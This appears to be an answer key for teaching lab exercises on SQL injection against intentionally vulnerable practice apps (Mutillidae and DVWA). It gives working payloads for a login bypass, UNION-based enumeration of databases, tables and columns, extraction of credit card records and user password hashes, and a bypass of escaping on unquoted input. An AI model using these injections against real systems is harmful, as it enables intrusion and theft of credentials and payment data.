Lab 4

Exercise 1:

Type in anything in the Name box, and type the following in the password: **' or 1=1 #**

Lab 5

Exercise 1:

Find the name of databases:
' union select null, schema_name, null, null, null, null, null, null from information_schema.schemata #

Find the names of tables in a specific database (one you pick from the result of the above, for example mutillidae):
' union select null, table_name, null, null, null, null, null, null from information_schema.tables where table_schema = 'mutillidae' #

Find the columns of a particular table (e.g., credit_cards):
' union select null, column_name, null, null, null, null, null, null from information_schema.columns where table_name = 'credit_cards' #

Extract data from a particular table/columns (e.g., all columns of the credit_cards table):
' union select null, ccid, ccnumber, concat(ccv, '.', expiration), null, null, null, null from mutillidae.credit_cards #

Note: instead of # you can use double dash -- followed by space

Exercise 2:

a) Using the ORDER BY, or the NULL technique, you should establish that there are 2 columns

b)

- To find the database version, you can enter: **' union select null, version() #**
- To find the database user: **' union select null, user() #**
- To find the database name: **' union select null, database() #**

c) Same steps as exercise 1. There are only 2 columns in this case. Database is DVWA, table is users and columns are user and password. So, you should ultimately inject:
' union select user, password from dvwa.users #

The password hash for admin is: **5f4dcc3b5aa765d61d8327deb882cf99** which corresponds to **password**

d) The code uses the PHP function **mysql_real_escape_string** which escapes special characters such as the single quote. However, the code is not putting any quotes around the input value, therefore we do not need to use any single quotes. So simply type in: **1 union select user, password from dvwa.users #**